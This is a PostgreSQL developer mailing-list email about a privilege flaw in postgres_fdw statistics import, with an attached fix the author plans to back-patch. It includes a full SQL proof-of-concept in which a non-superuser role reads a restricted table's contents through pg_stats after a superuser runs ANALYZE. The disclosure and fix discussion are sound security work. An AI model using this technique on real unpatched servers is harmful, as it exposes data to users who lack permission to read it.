I added Noah in CC. On Fri, Sep 11, 2026 at 12:46 AM Corey Huinker <[email protected]> wrote: > On Thu, Sep 10, 2026 at 11:02 AM Etsuro Fujita <[email protected]> > wrote: >> On Thu, Sep 10, 2026 at 3:59 PM Fujii Masao <[email protected]> wrote: >> > postgres_fdw stats import seems to have several potential issues. >> >> > (1) User-defined functions may be executed with unexpected privileges >> > >> > ANALYZE on a foreign table with import_stats disabled invokes >> > user-defined functions (e.g., domain constraints) as the foreign table's >> > owner. But, with import_stats enabled, they are invoked as the user >> > running ANALYZE. So, if that user is a superuser, those functions would >> > be run with superuser privileges. Could this be a security issue? >> >> Sorry, I don't follow this. Could you elaborate on it using an example? > > Me either. I think he's referring to generated columns, in which case the > generated column wouldn't have a corresponding source column, hence would > fail match_attrmap() and already falls back to sampling.
Here is an example provided by Noah, which doesn't involve
user-defined functions, but causes a security issue:
CREATE SERVER loopback FOREIGN DATA WRAPPER postgres_fdw OPTIONS
(dbname 'postgres');
CREATE USER MAPPING FOR CURRENT_USER SERVER loopback;
DROP ROLE IF EXISTS regress_ftowner;
CREATE ROLE regress_ftowner NOSUPERUSER;
GRANT USAGE ON FOREIGN SERVER loopback TO regress_ftowner;
GRANT CREATE ON SCHEMA public TO regress_ftowner;
CREATE TABLE secret (s text);
REVOKE ALL ON secret FROM PUBLIC;
INSERT INTO secret SELECT 'hunter2' FROM generate_series(1, 10);
ANALYZE secret;
SET ROLE regress_ftowner;
CREATE FOREIGN TABLE ft_secret (s text) SERVER loopback
OPTIONS (table_name 'secret', import_stats 'true');
-- the owner can neither read secret nor reach the remote server
SELECT * FROM ft_secret;
ERROR: user mapping not found for user "regress_ftowner", server "loopback"
-- which is good, BUT import_stats discloses data the owner cannot read
RESET ROLE;
ANALYZE ft_secret;
SET ROLE regress_ftowner;
SELECT most_common_vals FROM pg_stats WHERE tablename = 'ft_secret';
most_common_vals
------------------
{hunter2}
(1 row)
He provided a fix for this as well, which I'm attaching. The fix
addresses it by switching the userid to the foreign-table owner's
userid in analyze.c before calling ImportForeignStatistics(). I think
the fix is also reasonable in that it makes the identity handling
consistent between the sampling/import methods. So I will push and
back-patch the fix if no objections from others.
Best regards,
Etsuro Fujita
fix-stats-import-priv-handling.patch
Description: Binary data
